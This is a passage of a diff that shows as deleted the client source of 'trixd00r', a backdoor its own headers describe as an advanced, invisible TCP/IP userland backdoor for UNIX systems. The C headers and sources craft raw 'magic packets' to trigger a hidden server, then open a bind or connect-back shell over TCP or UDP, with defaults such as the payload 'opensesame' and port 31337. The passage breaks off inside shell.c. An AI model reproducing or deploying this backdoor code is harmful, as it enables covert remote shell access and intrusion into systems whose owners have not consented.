_TCP_SYN_TYPE = 0, _TCP_ACK_TYPE, _TCP_RST_TYPE, _TCP_PSH_TYPE,
_TCP_URG_TYPE, _TCP_FIN_TYPE, _UDP_TYPE, _NUM_PKT_TYPES
};
/* icmp header */
typedef struct {
int dummy;
} icmp_t;
/* print out supported magic packet types and protocol */
void print_packet_types();
/* send our magic packet */
void send_packet(packet_t *);
/* build our magic packet */
void build_packet(packet_t *);
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/shell.h
-87
View File
@@ -1,87 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/shell.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __SHELL_H__
#define __SHELL_H__
#include "trixd00r.h"
#include "packet.h"
/* send "exit" to server (only UDP part) to trigger SIGCHLD, so that the server
* doesn't hang around like a bitch... */
#define __SEND_EXIT if (user_exit) \
xsendto(packet->cfd, "exit", 4, 0, (struct sockaddr *) &packet->srv, \
packet->len);
/* default values */
#define DEF_MODE _TCP_CONN_PORT
/* socket read()/write() buffer */
#define SOCKBUF 4096
/* available shell modes (description) */
#define TCP_CONN_PORT "TCP connect"
#define TCP_BIND_PORT "TCP listen"
#define UDP_CONN_PORT "UDP connect"
#define UDP_BIND_PORT "UDP listen"
typedef struct {
unsigned char mode; /* connect or listen mode, tcp or udp? */
packet_t *packet; /* see packet.h */
unsigned char verbose; /* see controller.h */
} shell_t;
/* shell modes */
enum {
_TCP_CONN_PORT = 0, _TCP_BIND_PORT, _UDP_CONN_PORT, _UDP_BIND_PORT,
_NUM_SHELL_MODES
};
/* print available shell modes */
void print_shell_modes();
/* get evil shell */
void get_shell(shell_t *);
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/signals.h
-61
View File
@@ -1,61 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/signals.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __SIGNALS_H__
#define __SIGNALS_H__
#include <signal.h>
/* foo */
typedef void sigfunc(int);
/* signal handler */
sigfunc *xsignal(int, sigfunc *);
/* we don't want to have zombies :) */
void sig_chld();
/* connect timeout */
void connect_alarm();
/* cleanup for SIGINT/SIGTERM */
void cleanup();
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/trixd00r.h
-64
View File
@@ -1,64 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/trixd00r.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __TRIXD00R_H__
#define __TRIXD00R_H__
/* some header files we often need */
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
/* misc global macros */
#define VERSION "trixd00r v0.0.1"
#define ATOI(str) strtol(str, (char **) NULL, 10)
/* exit() */
#define __EXIT_SUCCESS exit(EXIT_SUCCESS)
#define __EXIT_FAILURE exit(EXIT_FAILURE)
/* leet color codes */
#define BLUE "\033[94m"
#define RED "\033[91m"
#define GREEN "\033[92m"
#define YELLOW "\033[93m"
#define NORM "\033[0m"
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/verbose.h
-61
View File
@@ -1,61 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/verbose.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __VERBOSE_H__
#define __VERBOSE_H__
#define __IF_VERBOSE_CTRL if (ctrl->verbose)
#define __IF_VERBOSE_PKT if (packet->verbose)
#define __VERBOSE_ARGS __IF_VERBOSE_CTRL \
printf("[+] "BLUE"checking arguments"NORM"\n");
#define __VERBOSE_BUILD __IF_VERBOSE_CTRL \
printf("[+] "BLUE"building magic packet"NORM"\n");
#define __VERBOSE_SEND __IF_VERBOSE_CTRL \
printf("[+] "BLUE"sending magic packet"NORM"\n");
#define __VERBOSE_CONNECTED(host,port) __IF_VERBOSE_PKT \
printf("--- "YELLOW"connected to %s:%u"NORM"\n", host, port);
#define __VERBOSE_GOT_CONNECTION(host) __IF_VERBOSE_PKT \
printf("--- "YELLOW"got a connection from %s"NORM"\n", host);
#define __VERBOSE_GOT_SHELL __IF_VERBOSE_PKT \
printf("--- "YELLOW"w00t, we've got a shell"NORM"\n");
#define __VERBOSE_END __IF_VERBOSE_CTRL \
printf("[+] ending trixd00r"NORM"\n");
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/wrapper.h
-91
View File
@@ -1,91 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/wrapper.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __WRAPER_H__
#define __WRAPER_H__
#define _BSD_SOURCE 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <pcap.h>
/* memory */
void *xmalloc(size_t);
void *xmemset(void *, int, size_t);
void *xmemcpy(void *, const void *, size_t);
void *alloc_buff(unsigned int);
/* file */
void xclose(int);
int xdup2(int, int);
void xselect(int, fd_set *, fd_set *, fd_set *, struct timeval *);
void xpipe(int *);
/* net */
struct hostent *xgethostbyname(const char *);
int xsocket(int, int, int);
void xconnect(int, const struct sockaddr *, socklen_t);
void xsendto(int, const void *, size_t, int, const struct sockaddr *, socklen_t);
ssize_t xrecv(int, void *, size_t, int);
ssize_t xwrite(int, const void *, size_t);
ssize_t xread(int, void *, size_t);
void xsetsockopt(int, int, int, const void *, socklen_t);
void xinet_ntop(int, const void *, char *, socklen_t);
void xbind(int, const struct sockaddr *, socklen_t);
void xlisten(int, int);
int xaccept(int, struct sockaddr *, socklen_t *);
/* misc */
void xsystem(const char *);
/* own */
char *convert_host(char *);
#endif
/* EOF */
backdoor/trixd00r/source/client/src/checks.c
-140
View File
@@ -1,140 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/src/checks.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "checks.h"
#include "wrapper.h"
#include "error.h"
/* checks for valid packet type */
void check_pkt_type(ctrl_t *ctrl, char *type)
{
if (strchr(type, '?')) {
print_packet_types();
free_trixd00r(ctrl);
__EXIT_SUCCESS;
}
if (ATOI(type) < 0 || ATOI(type) >= _NUM_PKT_TYPES) {
free_trixd00r(ctrl);
print_error(ERR_PKT_TYPE);
}
return;
}
/* checks for valid shell mode / prints out available modes */
void check_shell_mode(ctrl_t *ctrl, char *mode)
{
if (strchr(mode, '?')) {
print_shell_modes();
free_trixd00r(ctrl);
__EXIT_SUCCESS;
}
if (ATOI(mode) < 0 || ATOI(mode) >= _NUM_SHELL_MODES) {
free_trixd00r(ctrl);
print_error(ERR_SHELL_MODE);
}
return;
}
/* checks for valid hosts */
void check_host(char *host)
{
int x = 0;
unsigned char buff[sizeof(struct in_addr)];
x = inet_pton(AF_INET, host, buff);
if (x <= 0) {
xgethostbyname(host);
}
return;
}
/* checks for valid port number */
void check_port(ctrl_t *ctrl, int port)
{
if (port == 0 || port < 0 || port > 65535) {
free_trixd00r(ctrl);
print_error(ERR_PORT);
}
return;
}
/* checks, if necessary arguments are selected */
void check_args(ctrl_t *ctrl)
{
if (ctrl->packet->host == NULL) {
free_trixd00r(ctrl);
print_error(ERR_ARGS);
}
return;
}
/* check for uid 0 */
void check_uid(ctrl_t *ctrl)
{
uid_t uid = 0;
uid = getuid();
if (uid != 0) {
free_trixd00r(ctrl);
print_error(ERR_UID);
}
return;
}
/* check first usage */
void check_argc(int argc)
{
if (argc < 2) {
print_error(ERR_ARGC);
}
return;
}
/* EOF */
backdoor/trixd00r/source/client/src/controller.c
-124
View File
@@ -1,124 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/src/controller.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "controller.h"
#include "wrapper.h"
#include "verbose.h"
#include "signals.h"
/* just free everything we have to free */
void free_trixd00r(ctrl_t *ctrl)
{
if (ctrl->packet->magic_packet != NULL) {
free(ctrl->packet->magic_packet);
}
if (ctrl->packet != NULL) {
free(ctrl->packet);
}
if (ctrl != NULL) {
free(ctrl);
}
return;
}
/* ignore or handle some signals */
void install_signals()
{
/*xsignal(SIGTERM, SIG_IGN);
xsignal(SIGHUP, SIG_IGN);
xsignal(SIGINT, SIG_IGN);
xsignal(SIGUSR1, SIG_IGN);
xsignal(SIGUSR2, SIG_IGN);*/
/* here we do not ignore SIGCHLD, because we need to be without zombies */
xsignal(SIGCHLD, sig_chld);
return;
}
/* allocate buffer for each struct and fill in with zeros */
ctrl_t *alloc_structs()
{
ctrl_t *ctrl = NULL;
ctrl = (ctrl_t *) alloc_buff(sizeof(ctrl_t));
ctrl->packet = (packet_t *) alloc_buff(sizeof(packet_t));
ctrl->packet->magic_packet = (char *) alloc_buff(1500);
ctrl->shell = (shell_t *) alloc_buff(sizeof(shell_t));
return ctrl;
}
/* default settings for ctrl_t {} - prior to our complete definition */
ctrl_t *set_ctrl_defaults(ctrl_t *ctrl)
{
ctrl->packet->type = DEF_TYPE;
ctrl->shell->mode = DEF_MODE;
ctrl->packet->port = DEF_PORT;
ctrl->packet->payload = DEF_PAYLOAD;
ctrl->verbose = QUIET;
return ctrl;
}
/* end of trixd00r */
void end_trixd00r(ctrl_t *ctrl)
{
free_trixd00r(ctrl);
return;
}
/* begin of trixd00r */
void start_trixd00r(ctrl_t *ctrl)
{
__VERBOSE_BUILD;
build_packet(ctrl->packet);
__VERBOSE_SEND;
send_packet(ctrl->packet);
ctrl->shell->packet = ctrl->packet;
ctrl->packet->verbose = ctrl->verbose;
get_shell(ctrl->shell);
return;
}
/* EOF */
backdoor/trixd00r/source/client/src/error.c
-106
View File
@@ -1,106 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/src/error.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "error.h"
static void error_fatal(const char *);
/*static void error_warn(const char *);*/
static void sys_error_fatal(const char *);
static void sys_error_warn(const char *);
/* error codes, messages and related functions */
error_t error[] = {
{ ERR_GEN, ERR_MSG_GEN, error_fatal },
{ ERR_PKT_TYPE, ERR_MSG_PKT_TYPE, error_fatal },
{ ERR_SHELL_MODE, ERR_MSG_SHELL_MODE, error_fatal },
{ ERR_HOST, ERR_MSG_HOST, error_fatal },
{ ERR_IP, ERR_MSG_IP, error_fatal },
{ ERR_PORT, ERR_MSG_PORT, error_fatal },
{ ERR_ARGC, ERR_MSG_ARGC, error_fatal },
{ ERR_ARGS, ERR_MSG_ARGS, error_fatal },
{ ERR_UID, ERR_MSG_UID, error_fatal },
{ ERR_PKT_SIZE, ERR_MSG_PKT_SIZE, error_fatal },
{ ERR_NET, ERR_MSG_NET, sys_error_fatal },
{ ERR_CLOSE, ERR_MSG_CLOSE, sys_error_warn }
};
/* generate error messages */
static void error_fatal(const char *msg)
{
fprintf(stderr, "%s\n", msg);
__EXIT_FAILURE;
return;
}
/* generate warning messages
static void error_warn(const char *msg)
{
fprintf(stderr, "%s\n", msg);
return;
}*/
/* generate system error messages */
static void sys_error_fatal(const char *msg)
{
perror(msg);
__EXIT_FAILURE;
return;
}
/* generate system warning messaes */
static void sys_error_warn(const char *msg)
{
perror(msg);
return;
}
/* call one of our error routines (see above) */
void print_error(unsigned char code)
{
__CALL_ERROR_FUNC(code);
return;
}
/* EOF */
backdoor/trixd00r/source/client/src/help.c
-65
View File
@@ -1,65 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/src/help.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "help.h"
#include "trixd00r.h"
/* leet banner */
void banner()
{
printf("+-----------------------------------------+\
\n| trixd00r - http://www.nullsecurity.net/ |\
\n+-----------------------------------------+\n");
return;
}
/* help and usage */
void usage()
{
printf("usage:\n\n\
trixd00r -h <arg> [options]\n\
\noptions:\n\n\
-h <host> - trixd00rd host\n\
-t <type> - magic packet - ? to list all (default TCP SYN)\n\
-s <mode> - shell mode - ? to list all (default TCP connect)\n\
-m <string> - magic payload (default opensesame)\n\
-p <port> - port to connect or listen (default 31337)\n\
-v - verbose mode (default quiet)\n\
-V - show trixd00r version\n\
-H - show help and usage\n");
return;
}
/* EOF */
backdoor/trixd00r/source/client/src/packet.c
-237
View File
@@ -1,237 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/src/packet.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "packet.h"
#include "trixd00r.h"
#include "wrapper.h"
static unsigned short checksum(unsigned short *, int);
static void fill_sockaddr(packet_t *);
static void create_rawsock(packet_t *);
static uint8_t get_tcp_flags(packet_t *);
static uint8_t get_ip_protocol(packet_t *);
static void build_ip(packet_t *);
static void build_tcp(packet_t *);
static void build_udp(packet_t *);
/* print out supported magic packet types and protocol */
void print_packet_types()
{
unsigned char i = 0;
const char *descr[_NUM_PKT_TYPES] = {
TCP_SYN_TYPE, TCP_ACK_TYPE, TCP_RST_TYPE, TCP_PSH_TYPE, TCP_URG_TYPE,
TCP_FIN_TYPE, UDP_TYPE
};
printf("[+] "BLUE"available protocol and packet types"NORM"\n");
for (i = 0; i < _NUM_PKT_TYPES; i++) {
printf("--- %u [%s]\n", i, descr[i]);
}
return;
}
/* checksum calculator */
static unsigned short checksum(unsigned short *addr, int len)
{
uint32_t cksum = 0;
while (len > 0) {
cksum += *addr++;
len -= 2;
}
if (len == 0) {
cksum += *(unsigned char *) addr;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum = cksum + (cksum >> 16);
return ~cksum;
}
/* fill sockaddr_in {} */
static void fill_sockaddr(packet_t *packet)
{
packet->srv.sin_family = AF_INET;
packet->srv.sin_port = htons(packet->port);
packet->srv.sin_addr.s_addr = packet->ip->dst.s_addr;
return;
}
/* create raw socket and set desired socket options */
static void create_rawsock(packet_t *packet)
{
packet->one = 1;
packet->cfd = xsocket(AF_INET, SOCK_RAW, IPPROTO_RAW);
xsetsockopt(packet->cfd, IPPROTO_IP, IP_HDRINCL, &packet->one,
sizeof(packet->one));
return;
}
/* get tcp flags for tcp header */
static uint8_t get_tcp_flags(packet_t *packet)
{
switch (packet->type) {
case _TCP_ACK_TYPE: return TH_ACK; break;
case _TCP_RST_TYPE: return TH_RST; break;
case _TCP_PSH_TYPE: return TH_PSH; break;
case _TCP_URG_TYPE: return TH_URG; break;
case _TCP_FIN_TYPE: return TH_FIN; break;
}
/* default */
return TH_SYN;
}
/* get IPPROTO_* for ip header */
static uint8_t get_ip_protocol(packet_t *packet)
{
if (packet->type <= _TCP_FIN_TYPE) {
packet->hdrlen = sizeof(tcp_t);
return IPPROTO_TCP;
} else {
packet->hdrlen = sizeof(udp_t);
return IPPROTO_UDP;
}
}
/* build ip header */
static void build_ip(packet_t *packet)
{
packet->ip = (ip_t *) packet->magic_packet;
/* find the bug :) */
packet->ip->ver = 5;
packet->ip->ihl = 4;
packet->ip->id = htonl(rand());
packet->ip->dst.s_addr = inet_addr(packet->host);
packet->ip->ttl = 64;
packet->ip->tos = 0;
packet->ip->off = 0;
packet->ip->p = get_ip_protocol(packet);
packet->ip->len = htons(sizeof(ip_t) + packet->hdrlen +
strlen(packet->payload) + 1);
packet->ip->sum = checksum((unsigned short *) packet->ip, sizeof(ip_t));
return;
}
/* build tcp packet */
static void build_tcp(packet_t *packet)
{
packet->tcp = (tcp_t *) (packet->magic_packet + sizeof(ip_t));
packet->tcp->sport = htons(rand());
packet->tcp->dport = htons(packet->port);
packet->tcp->seq = htonl(rand());
packet->tcp->ack = 0;
packet->tcp->x2 = 0;
packet->tcp->off = 5;
packet->tcp->flags = get_tcp_flags(packet);
packet->tcp->win = htons(65535);
packet->tcp->sum = 0;
packet->tcp->urp = 0;
return;
}
/* build udp packet */
static void build_udp(packet_t *packet)
{
packet->udp = (udp_t *) (packet->magic_packet + sizeof(ip_t));
packet->udp->sport = htons(rand());
packet->udp->dport = htons(packet->port);
packet->udp->len = htons(sizeof(udp_t) + strlen(packet->payload) + 1);
packet->udp->sum = 0;
return;
}
/* send our magic packet */
void send_packet(packet_t *packet)
{
xsendto(packet->cfd, packet->magic_packet, sizeof(ip_t) + packet->hdrlen +
strlen(packet->payload) + 1, 0, (struct sockaddr *) &packet->srv,
sizeof(packet->srv));
xclose(packet->cfd);
return;
}
/* build our magic packet */
void build_packet(packet_t *packet)
{
create_rawsock(packet);
build_ip(packet);
switch (packet->type) {
case _TCP_SYN_TYPE:
case _TCP_ACK_TYPE:
case _TCP_RST_TYPE:
case _TCP_PSH_TYPE:
case _TCP_URG_TYPE:
build_tcp(packet);
break;
case _UDP_TYPE:
build_udp(packet);
break;
}
fill_sockaddr(packet);
/* copy magic payload to magic packet - evil c0de i know :( */
memcpy(&packet->magic_packet[sizeof(ip_t) + packet->hdrlen],
packet->payload, strlen(packet->payload) + 1);
return;
}
/* EOF */
backdoor/trixd00r/source/client/src/shell.c
-303
View File
@@ -1,303 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/src/shell.c *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#include "shell.h"
#include "wrapper.h"
#include "verbose.h"
#include "signals.h"
#include <fcntl.h>
#include <errno.h>
static void sigint_handler();
static void handle_udp_shell(packet_t *);
static void handle_tcp_shell(int);
static void listen_udp_port(packet_t *);
static void connect_udp_port(packet_t *);
static void listen_tcp_port(packet_t *);
static void connect_tcp_port(packet_t *);
/* for SIGINT */
int user_exit = 0;
/* print available shell modes */
void print_shell_modes()
{
unsigned char i = 0;
const char *descr[_NUM_SHELL_MODES] = {
TCP_CONN_PORT, TCP_BIND_PORT, UDP_CONN_PORT, UDP_BIND_PORT
};
printf("[+] "BLUE"available shell modes"NORM"\n");
for (i = 0; i < _NUM_SHELL_MODES; i++) {
printf("--- %u [%s]\n", i, descr[i]);
}
return;
}
/* SIGINT handler */
static void sigint_handler()
{
user_exit = 1;
return;
}
/* handle udp shell */
static void handle_udp_shell(packet_t *packet)
{
char sbuff[SOCKBUF + 1], rbuff[SOCKBUF + 1];
pid_t pid = 0;
/* parent reads from socket */
if ((pid = fork()) == 0) {
while (read(packet->cfd, rbuff, sizeof(rbuff)) > 0) {
rbuff[strlen(rbuff) + 1] = 0x00;
fputs(rbuff, stdout);
xmemset(&rbuff, 0x00, sizeof(rbuff));
}
}
/* child writes to socket */
while (fgets(sbuff, sizeof(sbuff), stdin) != NULL) {
sbuff[strlen(sbuff) + 1] = 0x00;
xsendto(packet->cfd, sbuff, strlen(sbuff), 0,
(struct sockaddr *) &packet->srv, packet->len);
xmemset(&sbuff, 0x00, sizeof(sbuff));
__SEND_EXIT;
}
return;
}
/* handle tcp shell */
static void handle_tcp_shell(int sockfd)
{
char sbuff[SOCKBUF], rbuff[SOCKBUF + 1];
pid_t pid = 0;
ssize_t len = 0;
/* parent reads from socket */
if ((pid = fork()) == 0) {
while (read(sockfd, rbuff, sizeof(rbuff)) > 0) {
rbuff[strlen(rbuff) + 1] = 0x00;
fputs(rbuff, stdout);
xmemset(&rbuff, 0x00, sizeof(rbuff));
}
}
/* child writes to socket */
while (fgets(sbuff, sizeof(sbuff), stdin) != NULL) {
len = write(sockfd, sbuff, strlen(sbuff));
xmemset(&sbuff, 0x00, sizeof(sbuff));
}
return;
}
/* listen on udp port */
static void listen_udp_port(packet_t *packet)
{
char buff[SOCKBUF];
const int opt = 1;
xmemset(&buff, 0x00, sizeof(buff));
/* create listen socket and set SO_REUSEADDR option */
packet->lfd = xsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
xsetsockopt(packet->lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
/* fill in sockaddr_in {} */
xmemset(&packet->srv, 0x00, sizeof(packet->srv));
packet->srv.sin_family = AF_INET;
packet->srv.sin_addr.s_addr = htonl(INADDR_ANY);
packet->srv.sin_port = htons(packet->port);
packet->len = sizeof(packet->srv);
/* bind the motherfuckin server to given port now */
xbind(packet->lfd, (struct sockaddr *) &packet->srv, packet->len);
/* this crap becuase of UDP and banner read ... belelelele */
__VERBOSE_GOT_SHELL;
sleep(1);
xsystem("clear");
recvfrom(packet->cfd, buff, SOCKBUF, 0, (struct sockaddr *) &packet->srv,
&packet->len);
fputs(buff, stdout);
/* ok let's rock */
handle_udp_shell(packet);
xclose(packet->lfd);
return;
}
/* connect to udp port */
static void connect_udp_port(packet_t *packet)
{
char buff[SOCKBUF];
/* create socket and fill in sockaddr_in {} fotzen */
packet->cfd = xsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
xmemset(&packet->srv, 0x00, sizeof(packet->srv));
packet->srv.sin_family = AF_INET;
packet->srv.sin_addr.s_addr = inet_addr(packet->host);
packet->srv.sin_port = htons(packet->port);
packet->len = sizeof(packet->srv);
__VERBOSE_GOT_SHELL;
/* this crap because of UDP and banner read ... */
sleep(1);
xsystem("clear");
xconnect(packet->cfd, (struct sockaddr *) &packet->srv, packet->len);
xsendto(packet->cfd, "", 1, 0, (struct sockaddr *) &packet->srv,
packet->len);
recvfrom(packet->cfd, buff, SOCKBUF, 0, (struct sockaddr *) &packet->srv,
&packet->len);
fputs(buff, stdout);
/* ok let's rock */
handle_udp_shell(packet);
